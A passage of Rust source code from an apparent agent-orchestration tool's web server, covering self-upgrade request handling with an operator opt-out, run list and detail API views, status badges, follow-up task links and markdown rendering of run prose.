3597                .store(false, std::sync::atomic::Ordering::SeqCst);
3598            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3599            return StatusCode::NO_CONTENT.into_response();
3600        }
3601        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3602        return finish_upgrade_request(
3603            ui,
3604            upgrade_checked_for(
3605                ui,
3606                env!("CARGO_PKG_VERSION").into(),
3607                Ok(Some(latest)),
3608                trigger,
3609            ),
3610        );
3611    }
3612    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3613}
3614
3615fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3616    match result {
3617        Ok(out) => {
3618            *ui.upgrade_request_error
3619                .lock()
3620                .unwrap_or_else(PoisonError::into_inner) = None;
3621            out.into_response()
3622        }
3623        Err(error) if error.status != StatusCode::CONFLICT => {
3624            let failure = UpgradeRequestFailure::new(error.message);
3625            *ui.upgrade_request_error
3626                .lock()
3627                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3628            let mut response = (error.status, Json(&failure)).into_response();
3629            if let Some(value) = failure
3630                .retry_after_secs
3631                .and_then(|secs| secs.to_string().parse().ok())
3632            {
3633                response.headers_mut().insert("retry-after", value);
3634            }
3635            response
3636        }
3637        Err(error) => error.into_response(),
3638    }
3639}
3640
3641async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3642    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3643        return Err(ApiError::conflict(
3644            "an upgrade is already in progress (this process started one and it \
3645             has not finished or failed yet)",
3646        ));
3647    }
3648    let recorded = updater::read_progress(&ui.home);
3649    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3650        return Err(ApiError::conflict(format!(
3651            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3652             stays stuck, restart the deck; on start it settles a stale record.",
3653            p.stage.as_str(),
3654            p.from,
3655            p.to.as_deref().unwrap_or("?"),
3656        )));
3657    }
3658
3659    // The same kill switch the background check honours (`disabled_by_env`),
3660    // checked before anything else for the same reason it is read before the
3661    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3662    // contact GitHub from this process", and a button press must not
3663    // override that any more than a broken `magi.toml` may.
3664    if crate::updater::disabled_by_env() {
3665        return Ok((
3666            StatusCode::OK,
3667            Json(UpgradeView {
3668                from: env!("CARGO_PKG_VERSION").to_owned(),
3669                to: None,
3670                detail: format!(
3671                    "Automatic updates are disabled by {}. Nothing was parked \
3672                     and nothing restarted.",
3673                    crate::updater::NO_AUTOUPDATE_ENV
3674                ),
3675            }),
3676        ));
3677    }
3678
3679    // Check before disturbing listeners or scheduling: no available update
3680    // means there is no reason to restart anything.
3681    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3682    let from = env!("CARGO_PKG_VERSION").to_owned();
3683    let latest = match crate::updater::Checker::new(&cfg.update) {
3684        Some(checker) => checker.newer_release().await,
3685        None => Ok(None),
3686    };
3687    upgrade_checked(ui, from, latest)
3688}
3689
3690fn upgrade_checked(
3691    ui: &Arc<Ui>,
3692    from: String,
3693    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3694) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3695    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3696}
3697
3698fn upgrade_checked_for(
3699    ui: &Arc<Ui>,
3700    from: String,
3701    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3702    trigger: updater::UpgradeTrigger,
3703) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3704    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3705    let Some(latest) = latest else {
3706        return Ok((
3707            StatusCode::OK,
3708            Json(UpgradeView {
3709                from,
3710                to: None,
3711                detail: "Already on the newest release. Nothing was parked \
3712                         and nothing restarted."
3713                    .to_owned(),
3714            }),
3715        ));
3716    };
3717
3718    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3719
3720    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3721    // poll must see a `Downloading` stage immediately, not whenever the
3722    // spawned task happens to get scheduled.
3723    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3724    progress.trigger = trigger;
3725    updater::write_progress_logged(&ui.home, &progress);
3726
3727    let home = ui.home.clone();
3728    ui.upgrade_spawned
3729        .store(true, std::sync::atomic::Ordering::SeqCst);
3730    let spawned = Arc::clone(&ui.upgrade_spawned);
3731    let runner = ui.upgrade_runner;
3732    let failed = ui.auto_failed_tag.clone();
3733    let tag = latest.tag_name.clone();
3734    tokio::spawn(async move {
3735        if let Err(e) = runner(home.clone()).await {
3736            if trigger == updater::UpgradeTrigger::Auto {
3737                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3738            }
3739            tracing::error!("the upgrade did not complete: {e:#}");
3740            // A failure of this attempt says nothing about a handover an
3741            // earlier request already has in flight; checked and written
3742            // under the progress lock.
3743            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3744            // Release only after failure bookkeeping, before accepting a retry.
3745            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3746        }
3747    });
3748
3749    Ok((
3750        StatusCode::ACCEPTED,
3751        Json(UpgradeView {
3752            from,
3753            to: Some(latest.tag_name),
3754            detail,
3755        }),
3756    ))
3757}
3758
3759/// Replace the binary, then ask [`serve`] to hand the address over.
3760///
3761/// Separated from the handler so the 202 is already on its way, and separated
3762/// from the spawn so the successor starts only after the listener is dropped.
3763async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3764    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3765    // hang the upgrade for as long as the process lives.
3766    crate::updater::run_self_update(true, false, true).await?;
3767    updater::log_step(&home, "binary replaced - recording the replaced stage");
3768    if let Some(mut progress) = updater::read_progress(&home) {
3769        progress.advance(updater::Stage::Replaced);
3770        updater::write_progress_logged(&home, &progress);
3771    }
3772    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3773    HANDOVER.notify_one();
3774    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3775    Ok(())
3776}
3777
3778/// One row in the run list.
3779///
3780/// The list route returns this rather than whole `RunState`s: the summary of a
3781/// run is a few hundred bytes and the state is megabytes, and the difference
3782/// is what makes the history usable on a mobile link.
3783#[derive(Debug, Serialize)]
3784struct RunSummary {
3785    activity: String,
3786    id: String,
3787    short: String,
3788    status: String,
3789    done: bool,
3790    instruction: String,
3791    title: String,
3792    repo: String,
3793    repo_name: String,
3794    created_at: String,
3795    updated_at: String,
3796    candidates: usize,
3797    viable: usize,
3798    judges: usize,
3799    winner: Option<char>,
3800    reviews: usize,
3801    quota_losses: usize,
3802    event: Option<String>,
3803    /// The later attempt at the same task that replaced this one, if any.
3804    ///
3805    /// Two cards with one title is otherwise unreadable: this is what lets
3806    /// the deck say "superseded by 4043" on the older of the pair.
3807    superseded_by: Option<String>,
3808    /// Blocked on a question nobody has answered.
3809    ///
3810    /// Derived from the question store rather than stored on the run: an agent
3811    /// calling `magi ask` blocks mid-node, and writing a status from there
3812    /// would race the graph's own save of `run.json` and be overwritten at the
3813    /// next node boundary. Asking the store is always true and never races.
3814    waiting: bool,
3815    /// Whether the process recorded as driving this run can still be proven
3816    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3817    /// rather than presenting its last graph node as still in flight.
3818    live: crate::run::Liveness,
3819    /// The land loop's last look at the pull request, when there is one.
3820    pr: Option<crate::run::PrRecord>,
3821    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3822    /// design — never picked up by the PR-polling merge watcher, unlike an
3823    /// ordinary `Ready` that may still be a live landing candidate. See
3824    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3825    /// re-deriving the same check from `status` and `merge.mode` itself.
3826    unmerged_by_design: bool,
3827    /// Derived presentation status matching [`RunDetailView::display_status`].
3828    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3829    #[serde(default)]
3830    display_status: String,
3831    /// What the status badge shows: `display_status`, or `superseded` for a
3832    /// non-live run a later attempt replaced. See [`run_badge_status`].
3833    #[serde(default)]
3834    badge_status: String,
3835    /// Who started the run, as the one label every surface shares; the
3836    /// "origin unknown" wording when the record predates origins.
3837    origin_label: String,
3838}
3839
3840impl RunSummary {
3841    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3842        Self {
3843            activity: crate::run_progress::activity(state, live, waiting),
3844            id: state.id.clone(),
3845            short: state.short().to_owned(),
3846            status: status_word(state.status),
3847            done: state.status.done(),
3848            unmerged_by_design: state.unmerged_by_design(),
3849            display_status: run_display_status(state, waiting, live),
3850            badge_status: run_display_status(state, waiting, live),
3851            instruction: state.instruction.clone(),
3852            title: title_from(&state.instruction, TITLE_MAX),
3853            repo: state.repo.display().to_string(),
3854            repo_name: state
3855                .repo
3856                .file_name()
3857                .map(|n| n.to_string_lossy().into_owned())
3858                .unwrap_or_default(),
3859            created_at: state.created_at.to_string(),
3860            updated_at: state.updated_at.to_string(),
3861            candidates: state.candidates.len(),
3862            viable: state.viable().len(),
3863            judges: state.config.graph.judges,
3864            winner: state.winner().map(|c| c.label),
3865            reviews: state.reviews.len(),
3866            quota_losses: state.quota.len(),
3867            event: state
3868                .verification_blocking_cause()
3869                .or_else(|| state.events.last().map(|e| e.message.clone())),
3870            waiting,
3871            live,
3872            // Filled in by the list route, which is the only place that can
3873            // see a task's other attempts.
3874            superseded_by: None,
3875            pr: state.pr.clone(),
3876            origin_label: crate::run::origin_label(state.origin.as_ref()),
3877        }
3878    }
3879}
3880
3881/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3882/// the same string `serde` writes for the status inside a full run.
3883fn status_word(status: RunStatus) -> String {
3884    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3885    // was a third way of naming the same statuses, and one that changed
3886    // silently with a derive.
3887    status.as_str().to_owned()
3888}
3889
3890/// The presentation status for a run, unified across summaries and details.
3891///
3892/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3893/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3894/// runs awaiting operator answers.
3895fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3896    if waiting {
3897        return "waiting".to_owned();
3898    }
3899    if state.unmerged_by_design() {
3900        return "unmerged".to_owned();
3901    }
3902    if !state.status.done() && live == crate::run::Liveness::Dead {
3903        // The driver claim clears this flag before saving another event.
3904        // A previous park event can therefore outlive a resumed driver.
3905        if state.parked {
3906            return "parked".to_owned();
3907        }
3908        return "stale".to_owned();
3909    }
3910    status_word(state.status)
3911}
3912
3913/// The word a run's status badge shows: `display_status`, except that a
3914/// non-terminal run which is not provably live and was replaced by a later
3915/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3916///
3917/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3918/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3919/// own word, so superseded never claims more than "not live".
3920fn run_badge_status(
3921    state: &RunState,
3922    display_status: &str,
3923    live: crate::run::Liveness,
3924    superseded: bool,
3925) -> String {
3926    if state.status.done() || live == crate::run::Liveness::Live {
3927        return display_status.to_owned();
3928    }
3929    if superseded {
3930        return "superseded".to_owned();
3931    }
3932    // A dead run's `display_status` is `stale`, except that a deliberate park
3933    // and an open owner question keep their own word: neither is a crash, and
3934    // the question still needs an answer. Anything else dead reads `stale`.
3935    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3936        return "stale".to_owned();
3937    }
3938    display_status.to_owned()
3939}
3940
3941/// `?limit=`, clamped by the handler.
3942#[derive(Debug, Deserialize)]
3943struct ListQuery {
3944    #[serde(default)]
3945    limit: Option<usize>,
3946    /// Exact ids only; an empty value requests no rows (except queue blockers).
3947    ids: Option<String>,
3948}
3949
3950impl ListQuery {
3951    fn contains(&self, id: &str) -> bool {
3952        self.ids
3953            .as_ref()
3954            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3955    }
3956}
3957
3958async fn runs_list(
3959    State(ui): State<Arc<Ui>>,
3960    Query(q): Query<ListQuery>,
3961) -> ApiResult<Json<Vec<RunSummary>>> {
3962    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3963    blocking(move || {
3964        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3965        let states = run_ids(&ui.runs)
3966            .into_iter()
3967            // A run whose state cannot be read is skipped, not fatal: a run
3968            // killed mid-write must not blank the history of every other one.
3969            // The detail route still explains it, which is where an operator
3970            // asking "what happened to that run" ends up.
3971            .filter_map(|id| read_run(&ui.runs, &id).ok())
3972            .take(limit)
3973            .filter(|run| q.contains(&run.id));
3974        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3975        let summaries = summarize(
3976            states,
3977            &open_runs,
3978            &claimed,
3979            &superseded,
3980            |p| probe.borrow_mut().status(p),
3981            |p| probe.borrow_mut().started_at(p),
3982        );
3983        Ok(Json(summaries))
3984    })
3985    .await
3986}
3987
3988/// Everything the per-run rows share, read once: runs with an open question,
3989/// runs a live daemon claims, and the superseded map. Asking per run re-read
3990/// every question file and the daemon status file for each of hundreds of
3991/// runs, and spawned a process probe per run on Windows.
3992fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3993    let open_runs: HashSet<String> = ui
3994        .questions
3995        .list()
3996        .into_iter()
3997        .filter(|q| q.status.open())
3998        .map(|q| q.run)
3999        .collect();
4000    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4001        .into_iter()
4002        .map(|c| c.run)
4003        .collect();
4004    (open_runs, claimed, ui.queue.superseded())
4005}
4006
4007/// The rows of the run list, given everything that is shared between them.
4008///
4009/// Pure over its inputs so a test can count how often the process queries are
4010/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4011/// takes, called at most once per run.
4012fn summarize<I, S, D>(
4013    states: I,
4014    open_runs: &HashSet<String>,
4015    claimed: &HashSet<String>,
4016    superseded: &HashMap<String, String>,
4017    mut status_q: S,
4018    mut identity_q: D,
4019) -> Vec<RunSummary>
4020where
4021    I: IntoIterator<Item = RunState>,
4022    S: FnMut(u32) -> Option<bool>,
4023    D: FnMut(u32) -> Option<String>,
4024{
4025    states
4026        .into_iter()
4027        .map(|state| {
4028            let waiting = open_runs.contains(&state.id);
4029            let live =
4030                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4031            let mut row = RunSummary::of(&state, waiting, live);
4032            row.superseded_by = state
4033                .pr_taken_over_by
4034                .as_ref()
4035                .or_else(|| superseded.get(&state.id))
4036                .map(String::as_str)
4037                .map(crate::run::short_of)
4038                .map(str::to_owned);
4039            row.badge_status = run_badge_status(
4040                &state,
4041                &row.display_status,
4042                live,
4043                row.superseded_by.is_some(),
4044            );
4045            row
4046        })
4047        .collect()
4048}
4049
4050/// A run as the detail route hands it to the phone.
4051///
4052/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4053/// the instruction as markdown, and the raw `instruction` field this struct
4054/// still carries (unchanged) is what a client wanting the exact bytes reads
4055/// instead.
4056#[derive(Debug, Serialize)]
4057struct RunDetailView {
4058    progress: crate::run_progress::Progress,
4059    stop_reason: Option<String>,
4060    #[serde(flatten)]
4061    state: RunState,
4062    instruction_md: Vec<md::Node>,
4063    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4064    /// mirror the records they come from, index for index; the raw strings
4065    /// stay in `state` and decide whether a block is shown at all.
4066    #[serde(flatten)]
4067    prose_md: RunProseMd,
4068    /// Whether a process is actually still driving this run: `"live"`,
4069    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4070    ///
4071    /// `state.active` (flattened in above) is only ever cleared by the
4072    /// process that populated it; a killed one leaves its last wave's
4073    /// entries behind. Carrying this alongside is what lets the phone rail
4074    /// tell "this seat is still answering" from "this seat was still
4075    /// answering when whatever was driving this run died" without a second
4076    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4077    /// proof of either. A string rather than a bool on purpose: a daemon
4078    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4079    /// and neither proven is `"unknown"` — folding that third case into
4080    /// either end of a bool is exactly the wrong call for a phone screen an
4081    /// operator uses to decide whether to wait or to act.
4082    live: crate::run::Liveness,
4083    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4084    /// alongside the flattened `state` rather than inside it, since
4085    /// `RunState` has no business knowing which of its own methods a caller
4086    /// wants serialized.
4087    unmerged_by_design: bool,
4088    /// Same field and meaning as [`RunSummary::waiting`].
4089    #[serde(default)]
4090    waiting: bool,
4091    /// Same derived presentation status as [`RunSummary::display_status`].
4092    #[serde(default)]
4093    display_status: String,
4094    /// Same field and meaning as [`RunSummary::badge_status`].
4095    #[serde(default)]
4096    badge_status: String,
4097    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4098    /// terminal. The client's `landView` keys on it, and the flattened state
4099    /// has no such field, so without it a finished run's stale `open` PR
4100    /// would be painted as live on the detail page.
4101    done: bool,
4102    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4103    /// route fills it from [`Queue::superseded`], the detail route from
4104    /// [`Queue::superseded_by`], and both read the same underlying task
4105    /// order. Without this the detail page could only ever show a red
4106    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4107    /// with nothing anywhere saying so — an operator opening it had no way
4108    /// to tell "this is done elsewhere" from "this still needs a retry".
4109    superseded_by: Option<String>,
4110    /// The task's current attempt, when this run is an older one — resolved
4111    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4112    /// the client to derive.
4113    ///
4114    /// Three things a client cannot safely do on its own drove this onto the
4115    /// server: it has to name the chain's *current head*, not just the next
4116    /// attempt (`superseded_by` above), because an intermediate retry in a
4117    /// longer chain can itself still be unresolved; it has to resolve to a
4118    /// real id rather than a short id a client would have to guess a full id
4119    /// from, which is ambiguous the moment two runs share a suffix; and it
4120    /// has to read that head's own status directly, because whether a run
4121    /// list a client happens to have cached even contains that attempt
4122    /// depends on a page limit this route knows nothing about.
4123    latest_attempt: Option<LatestAttempt>,
4124    /// The queue task this run belongs to, so the detail page can link back
4125    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4126    task: Option<TaskRef>,
4127    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4128    /// run recorded before origins existed. `origin` itself (flattened in
4129    /// with `state`) is `null` in that case.
4130    origin_label: String,
4131    /// Each recorded pass over this run, with the cause it stopped for. Empty
4132    /// for a run from before passes were kept: its earlier passes are unknown.
4133    pass_views: Vec<PassView>,
4134}
4135
4136/// A task named from a run's detail page.
4137#[derive(Debug, Serialize)]
4138struct TaskRef {
4139    id: String,
4140    short: String,
4141    title: String,
4142    /// [`Source::label`], e.g. `chat@a1b2`.
4143    source_label: String,
4144    /// Where the task came from, when that place has a page; see [`source_link`].
4145    source_link: Option<SourceLink>,
4146    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4147    status: &'static str,
4148    attempts: usize,
4149    max_attempts: usize,
4150    /// This run is the last entry of the task's run list.
4151    is_latest: bool,
4152    /// The task's newest run, when it is not this one.
4153    latest: Option<RunBrief>,
4154    /// The run that finished a `done` task (merged, or already in the base).
4155    finished_by: Option<RunBrief>,
4156    /// The task is `done` but no run on record finished it: closed by hand.
4157    closed_by_hand: bool,
4158}
4159
4160/// The page that filed a task, as the UI links to it.
4161#[derive(Debug, PartialEq, Eq, Serialize)]
4162struct SourceLink {
4163    /// `chat` (a conversation) or `run` (a run's node).
4164    kind: &'static str,
4165    /// The full id, never the short one in the label.
4166    id: String,
4167    /// The hash route that opens it.
4168    href: String,
4169}
4170
4171/// Percent-encode everything outside the URL-unreserved set.
4172fn encode_segment(raw: &str) -> String {
4173    let mut out = String::with_capacity(raw.len());
4174    for b in raw.bytes() {
4175        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4176            out.push(b as char);
4177        } else {
4178            out.push_str(&format!("%{b:02X}"));
4179        }
4180    }
4181    out
4182}
4183
4184/// The one place that decides where a task's source links to. A chat
4185/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4186/// a person or an imported issue has no page, so no link.
4187fn source_link(source: &Source) -> Option<SourceLink> {
4188    let Source::Agent { run, node } = source else {
4189        return None;
4190    };
4191    let (kind, route) = if node == crate::queue::CHAT_NODE {
4192        ("chat", "chat")
4193    } else {
4194        ("run", "runs")
4195    };
4196    Some(SourceLink {
4197        kind,
4198        id: run.clone(),
4199        href: id_links::page_href(route, run),
4200    })
4201}
4202
4203/// The parent task of a follow-up, when its file can still be read.
4204#[derive(Debug, Serialize, PartialEq)]
4205struct FollowUpParent {
4206    id: String,
4207    short: String,
4208    title: String,
4209    /// The parent's own status (`TaskStatus::as_str`).
4210    status: &'static str,
4211    href: String,
4212}
4213
4214/// The merged run a follow-up was filed from.
4215#[derive(Debug, Serialize, PartialEq)]
4216struct FollowUpRun {
4217    id: String,
4218    short: String,
4219    /// `None` when the run's record cannot be read.
4220    status: Option<&'static str>,
4221    /// `None` unless the record could be read: never a dead link.
4222    href: Option<String>,
4223}
4224
4225/// Where a follow-up task came from, resolved once per task page so the flow
4226/// chart and the detail block cannot disagree. See [`followup_origin`].
4227#[derive(Debug, Serialize, PartialEq)]
4228struct FollowUpOrigin {
4229    /// Present only when `origin_task` is set and that task still exists.
4230    parent: Option<FollowUpParent>,
4231    run: FollowUpRun,
4232    /// The merged pull request, verbatim. Not an href: the client passes it
4233    /// through `forgeUrl()` and renders text when that refuses it (the one
4234    /// exception to "the href rule is Rust's alone", since a forge URL is
4235    /// data from a record, not a route).
4236    pr: String,
4237    findings: Vec<String>,
4238    generation: u32,
4239}
4240
4241/// The one place that decides what a follow-up links to. A parent that cannot
4242/// be read (gone, or an id that names nothing) is `None`, never an error.
4243fn followup_origin(
4244    fu: &crate::queue::FollowUp,
4245    task: impl Fn(&str) -> Option<Task>,
4246    run: impl Fn(&str) -> Option<RunState>,
4247) -> FollowUpOrigin {
4248    let parent = fu
4249        .origin_task
4250        .as_deref()
4251        .and_then(task)
4252        .map(|t| FollowUpParent {
4253            short: t.short().to_owned(),
4254            href: format!("#/tasks/{}", encode_segment(&t.id)),
4255            status: t.status.as_str(),
4256            title: t.title,
4257            id: t.id,
4258        });
4259    let state = run(&fu.run);
4260    FollowUpOrigin {
4261        parent,
4262        run: FollowUpRun {
4263            short: run::short_of(&fu.run).to_owned(),
4264            status: state.as_ref().map(|s| s.status.as_str()),
4265            href: state
4266                .is_some()
4267                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4268            id: fu.run.clone(),
4269        },
4270        pr: fu.pr.clone(),
4271        findings: fu.findings.clone(),
4272        generation: fu.generation,
4273    }
4274}
4275
4276/// Another run of the same task, as named from a run's detail page.
4277#[derive(Debug, Serialize)]
4278struct RunBrief {
4279    id: String,
4280    short: String,
4281    /// `None` when the run's record cannot be read.
4282    status: Option<&'static str>,
4283    /// The task-page wording for how that pass ended.
4284    outcome: String,
4285    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4286    badge: Option<String>,
4287}
4288
4289/// The task's overall outcome as seen from `this_run`'s page, classified with
4290/// the same exits the task page's flowchart uses.
4291fn task_outcome(
4292    task: &Task,
4293    this_run: &str,
4294    max_attempts: usize,
4295    read: impl Fn(&str) -> Option<RunState>,
4296) -> TaskRef {
4297    let max_attempts = task.effective_attempt_limit(max_attempts);
4298    let history = task_history(task, read);
4299    let brief = |h: &TaskRunView| RunBrief {
4300        id: h.id.clone(),
4301        short: h.short.clone(),
4302        status: h.status,
4303        outcome: h.exit.edge_label(h.status),
4304        badge: h.badge.clone(),
4305    };
4306    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4307    let latest = if is_latest {
4308        None
4309    } else {
4310        history.last().map(brief)
4311    };
4312    let done = task.status == TaskStatus::Done;
4313    let finished_by = done
4314        .then(|| {
4315            history
4316                .iter()
4317                .rev()
4318                .find(|h| {
4319                    matches!(
4320                        h.exit,
4321                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4322                    )
4323                })
4324                .map(brief)
4325        })
4326        .flatten();
4327    TaskRef {
4328        short: task.short().to_owned(),
4329        title: task.title.clone(),
4330        id: task.id.clone(),
4331        source_label: task.source.label(),
4332        source_link: source_link(&task.source),
4333        status: task.status.as_str(),
4334        attempts: task.attempts,
4335        max_attempts,
4336        is_latest,
4337        latest,
4338        closed_by_hand: done && finished_by.is_none(),
4339        finished_by,
4340    }
4341}
4342
4343/// The task's current attempt, as seen from an older one's detail page.
4344#[derive(Debug, Serialize)]
4345struct LatestAttempt {
4346    id: String,
4347    short: String,
4348    /// Whether this attempt itself settled with a result nobody needs to
4349    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4350    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4351    /// unconfirmed claim that no change was needed, which is exactly why it
4352    /// settles the task through `Held` rather than `Done` and still waits on
4353    /// a human to check the evidence; showing an older run as "finished
4354    /// elsewhere" on the strength of an unverified claim would bury the
4355    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4356    /// in-flight status are excluded because they are exactly the
4357    /// unresolved states this field exists to tell apart from a real finish.
4358    resolved: bool,
4359    /// The attempt's own recorded status, so the page can say where it
4360    /// stands while it is not resolved yet.
4361    status: RunStatus,
4362    /// Whether that status is terminal (nothing is still running it).
4363    done: bool,
4364}
4365
4366/// Markdown for the free-text prose of a run, parallel to `RunState`.
4367#[derive(Debug, Default, Serialize)]
4368struct RunProseMd {
4369    /// `None` when the run has no design deliberation.
4370    advice_md: Option<AdviceMd>,
4371    /// One entry per candidate: the summary.
4372    candidate_summaries_md: Vec<Vec<md::Node>>,
4373    /// One entry per review round, in `reviews` order.
4374    reviews_md: Vec<RoundMd>,
4375}
4376
4377#[derive(Debug, Default, Serialize)]
4378struct AdviceMd {
4379    synthesis: Vec<md::Node>,
4380    /// One per record; empty for a seat with no proposal.
4381    approaches: Vec<Vec<md::Node>>,
4382}
4383
4384#[derive(Debug, Default, Serialize)]
4385struct RoundMd {
4386    /// One per reviewer record.
4387    reviewers: Vec<ReviewerMd>,
4388    /// One per `reconsideration` entry: the reason.
4389    reconsideration: Vec<Vec<md::Node>>,
4390    fix: Option<FixMd>,
4391}
4392
4393#[derive(Debug, Default, Serialize)]
4394struct ReviewerMd {
4395    summary: Vec<md::Node>,
4396    /// One per finding, in recorded order (not the display order).
4397    findings: Vec<Vec<md::Node>>,
4398}
4399
4400#[derive(Debug, Default, Serialize)]
4401struct FixMd {
4402    notes: Vec<md::Node>,
4403    /// One per rejection: the argument.
4404    rejected: Vec<Vec<md::Node>>,
4405}
4406
4407/// Parse a run's agent-written prose; a pure function of the state.
4408fn run_prose_md(state: &RunState) -> RunProseMd {
4409    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4410    RunProseMd {
4411        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4412            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4413            approaches: a
4414                .records
4415                .iter()
4416                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4417                .collect(),
4418        }),
4419        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4420        reviews_md: state
4421            .reviews
4422            .iter()
4423            .map(|round| RoundMd {
4424                reviewers: round
4425                    .reviews
4426                    .iter()
4427                    .map(|rec| ReviewerMd {
4428                        summary: nodes(&rec.summary),
4429                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4430                    })
4431                    .collect(),
4432                reconsideration: round
4433                    .reconsideration
4434                    .iter()
4435                    .map(|rv| nodes(&rv.reason))
4436                    .collect(),
4437                fix: round.fix.as_ref().map(|fix| FixMd {
4438                    notes: nodes(&fix.notes),
4439                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4440                }),
4441            })
4442            .collect(),
4443    }
4444}
4445
4446impl RunDetailView {
4447    fn of(
4448        state: RunState,
4449        waiting: bool,
4450        live: crate::run::Liveness,
4451        superseded_by: Option<String>,
4452        latest_attempt: Option<LatestAttempt>,
4453        task: Option<TaskRef>,
4454    ) -> Self {
4455        let display_status = run_display_status(&state, waiting, live);
4456        let stop_reason = crate::stop_reason::of(
4457            &state,
4458            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4459        );
4460        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4461        Self {
4462            progress: crate::run_progress::build(&state, live, waiting),
4463            stop_reason,
4464            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4465            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4466            prose_md: run_prose_md(&state),
4467            origin_label: crate::run::origin_label(state.origin.as_ref()),
4468            live,
4469            unmerged_by_design: state.unmerged_by_design(),
4470            waiting,
4471            display_status,
4472            badge_status,
4473            done: state.status.done(),
4474            superseded_by,
4475            latest_attempt,
4476            task,
4477            state,
4478        }
4479    }
4480}
4481
4482/// Core content needs neither the queue nor question/liveness evidence.
4483async fn run_core(
4484    State(ui): State<Arc<Ui>>,
4485    Path(id): Path<String>,
4486) -> ApiResult<Json<RunDetailView>> {
4487    blocking(move || {
4488        let id = resolve_run(&ui.runs, &id)?;
4489        let state = read_run(&ui.runs, &id)?;
4490        Ok(Json(RunDetailView::of(
4491            state,
4492            false,
4493            crate::run::Liveness::Unknown,
4494            None,
4495            None,
4496            None,
4497        )))
4498    })
4499    .await
4500}
4501
